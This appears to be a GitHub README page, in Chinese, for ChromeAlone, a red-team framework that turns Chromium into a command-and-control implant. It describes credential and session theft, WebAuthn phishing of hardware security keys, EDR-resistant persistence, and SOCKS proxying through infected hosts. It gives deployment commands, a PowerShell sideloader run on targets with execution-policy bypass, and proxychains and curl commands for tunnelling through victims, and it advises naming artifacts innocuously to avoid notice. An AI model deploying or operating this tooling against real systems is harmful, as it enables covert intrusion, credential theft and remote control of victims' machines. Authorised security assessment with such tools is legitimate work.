praetorian-inc/ChromeAlone

GitHub: praetorian-inc/ChromeAlone

ChromeAlone:将Chromium浏览器转变为C2植入工具。

Stars: 580 | Forks: 75

# ChromeAlone - 一个浏览器 C2 框架 ![架构图](https://raw.githubusercontent.com/praetorian-inc/ChromeAlone/main/BATTLEPLAN.png) # 这能给我带来什么? ChromeAlone 是一种浏览器植入程序,可以用作 Cobalt Strike 或 Meterpreter 等传统植入程序的替代品。此存储库提供了一个简单的构建过程,可以生成管理控制台、部署基础设施以及创建在目标上运行的 PowerShell 旁路加载脚本。 安装后,每个 ChromeAlone 植入程序将提供以下机制: * 在主机上提供 SOCKS TCP 代理 * 浏览器会话窃取和凭证捕获 * 从 Chrome 在主机上启动可执行文件 * 钓鱼 WebAuthn 请求以获取物理安全令牌,如 YubiKeys 或 Titan 安全密钥。 * 在主机上实现持久性的 EDR 抵抗形式,该形式完全使用 Chromium 内置功能实现。 # 构建说明 首先构建 docker 容器:`docker build -t chromealone .` ## 部署说明 目前有两种支持的部署模式。请注意,在任一情况下,您都应该在 ChromeAlone git 仓库的基本目录中运行 `docker`。 ### 通过 AWS 从零开始部署 为此,您需要有一个配置了您的凭据存储在 `~/.aws/credentials` 中的 AWS 账户。确保您的账户具有完整的 EC2 写权限以及 Route53 权限。此外,假设您的 Route53 已配置至少包含一个注册域的 1 个托管区域。如果满足这些条件,则可以运行此命令。 ``` docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService --region=us-west-2 ``` `domain` 值应与您的 Route53 设置下的域匹配。`appname` 可以是您想要的任何值,并在部署时用于命名磁盘上的多个注册表键和文件夹。建议使用像 `UpdateService` 或其他同样无害的名称。 请注意,`region` 是可选的,如果未指定,则默认为 `us-east-2`。 这将部署 BATTLEPLAN 中继服务器到 AWS 并生成以下工件: `output/client` - 用于管理您的 ChromeAlone 安装的控制网络应用程序。 `output/sideloader.ps1` - 在目标上运行的感染其本地浏览器实例的安装脚本。注意:还将有一个 `iwa-sideloader.ps1` 文件,用于仅加载 Isolated Web App,以及 `extension-sideloader.ps1` 用于仅加载浏览器扩展。 `output/extension` - 生成的恶意浏览器扩展。 `output/iwa` - 生成的恶意 Isolated Web App 签名 Web 应用程序包文件。 `output/relay-deployment` - 您 AWS 部署的 Terraform 工件,包括用于直接访问主机的 SSH 密钥。 ### 从现有的服务器部署生成部署脚本 如果您已经部署了一个实例,`output/relay-deployment/terraform.tfvars` 将包含生成新的旁路加载脚本 + 恶意扩展所需的所有信息。您可以将 ChromeAlone docker 文件指向 `tfvars` 文件,它将跳过部署步骤,同时保持适当的元数据来处理连接。 运行构建脚本 `docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService`,它将为您的部署生成一个新的恶意旁路加载器。 ## 在主机上安装 获取 `sideloader.ps1` 并在您的目标 Windows 10 或 Windows 11 机器上通过运行 `powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1` 来执行它。请注意,如果您想安装 NativeMessaging 主机(必需用于外壳),或强制 Chrome 重新启动(如果您想在运行此脚本后立即运行扩展而不是等待用户打开 Chrome),则可以运行带有附加标志。带有这两个标志的示例调用是 `powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true`。您还可以修改脚本顶部的默认值从 `false` 到 `true`,如果您希望这些标志自动使用。 完整的脚本执行将花费大约 20-30 秒。 # 操作员说明 一旦加载 ChromeAlone,您可以通过打开 `output/client/index.html` 来查看任何已连接的主机。此网络应用程序将预先配置为连接到您的已部署 BATTLEPLAN 中继实例。请注意,默认情况下,中继被防火墙限制,仅允许来自部署服务器的 IP 地址在端口 1080-1181 上进行控制访问。如果您想修改此设置,您需要更新 EC2 实例的网络设置,包括任何其他机器。 大多数命令都可以从 WebUI 运行,包括: * 导出历史记录 + 钥匙(通过 `快速命令` 部分,需要在 `执行命令` 部分中选择目标代理) * 捕获凭证(这些将通过 `捕获数据` 选项卡显示) * 强制 WebAuthn 请求(通过 `执行命令` 部分) * 文件系统读取(通过 `文件浏览器` 选项卡) * 执行 Shell 命令(通过 `交互式 Shell` 选项卡) 主要的例外是 SOCKS 代理。每个受感染的主机都会分配一个唯一的 SOCKS 端口,该端口可以在 `Agent Information` 部分中看到,其中每个代理都有一个 `Port` 字段。分配的端口,当与存储在 `output/client/config.js` 中的 `admin` 凭据结合使用时,可以用于配置特定主机的 SOCKS 代理。 例如,假设我们有一个端口号为 1081 的代理,我们的域为 `chrome.alone`,用户名为 `admin`(始终如此),密码为 `thisisnotarealpassword`。以下是一些示例用法: ``` proxychains -q socks5 admin:thisisnotarealpassword@chrome.alone:1081 curl http://ifconfig.me xfreerdp /cert:ignore /v: /u: /proxy:socks5://admin:thisisnotarealpassword@chrome.alone:1081 curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me ``` # 本存储库中有什么? ChromeAlone 仓库被分解为组件,其中许多可以作为评估的一部分单独使用,但一起代表了整个 Chromium 浏览器植入工具链。 * `BATTLEPLAN` - 这是工具链的管理服务器组件。它包含部署到 AWS 环境的 terraform 脚本以及部署后与服务器交互的 HTML 客户端。 * `BLOWTORCH` - 这是一个恶意 Isolated Web 应用程序,它使用 `Direct Socket` 权限来实现 SOCKS TCP 代理和 WebSocket 服务器,以启用其他 Chrome 组件之间的通信。它还充当与 `BATTLEPLAN` 中继服务器的消息桥。 * `DOORKNOB` - 这是一系列用于生成 Isolated Web 应用程序和 Chrome 扩展的 PowerShell 旁路加载器的脚本。`build.sh` 中的脚本提供了一个示例,说明如何创建一个将这两个单独的旁路加载器合并为一个的 PowerShell 安装器脚本。 * `HOTWHEELS` - 这是一个实现所有功能的恶意 Chrome 扩展,它使用 Web Assembly。它提供了 ChromeAlone 大多数功能集,包括凭证捕获、会话劫持、外壳和读取文件系统。 * `PAINTBUCKET` - 一系列内容脚本,通过在非活动选项卡中隐藏额外的 WebAuthn 请求,在每次正常 WebAuthn 请求时进行钓鱼 WebAuthn 请求。 # 谁制作的? 此工具由 [Mike Weber](https://www.linkedin.com/in/michael-weber-6a466517/) 制作,他是 [Praetorian Security](https://www.praetorian.com/). # 参考 这项工作建立在许多其他研究人员工具和博客文章的肩膀上,他们为这个领域做出了贡献。如果没有他们的工作,这个项目将不会存在。如果您想深入了解该项目使用的内部结构,我建议阅读以下资源: * Silent Chrome - https://github.com/asaurusrex/Silent_Chrome * Return of the Extension - https://syntax-err0r.github.io/Return_Of_The_Extension.html * CursedChrome - https://github.com/mandatoryprogrammer/CursedChrome * https://www.adlice.com/google-chrome-secure-preferences/ * Browser Extension Supply Chain Attacks - https://www.darktrace.com/blog/cyberhaven-supply-chain-attack-exploiting-browser-extensions * LummaC2 Sideloading - https://www.esentire.com/blog/lummac2-malware-and-malicious-chrome-extension-delivered-via-dll-side-loading * BlinkOn 19 - https://www.youtube.com/watch?v=Q3b5NB-7HQQ * RedExt - https://github.com/Darkrain2009/RedExt * Browser Syncjacking - https://labs.sqrx.com/browser-syncjacking-cc602ea0cbd0 * Isolated Web Apps Explainer - https://github.com/WICG/isolated-web-apps * LevelDB Writeup - https://www.cclsolutionsgroup.com/post/hang-on-thats-not-sqlite-chrome-electron-and-leveldb * DirectSockets Explainer - https://wicg.github.io/direct-sockets/ * WebUSB Yubikey Phishing - https://www.wired.com/story/chrome-yubikey-phishing-webusb/ * Offensive Browser Extension Development - https://www.irongeek.com/i.php?page=videos/derbycon8/track-4-02-offensive-browser-extension-development-michael-weber # 许可证 ChromeAlone 根据 Apache 许可证第 2 版许可。
标签:AI合规, AWS, C2 植入, Chromium, Docker, DPI, EDR 避免检测, SOCKS 代理, Titan Security Key, WebAuthn, YubiKey, 凭证捕获, 安全防御评估, 恶意软件, 恶意软件构建, 恶意软件管理, 恶意软件部署, 浏览器攻击, 特权提升, 脚本注入, 自动化部署, 自定义脚本, 请求拦截, 远程控制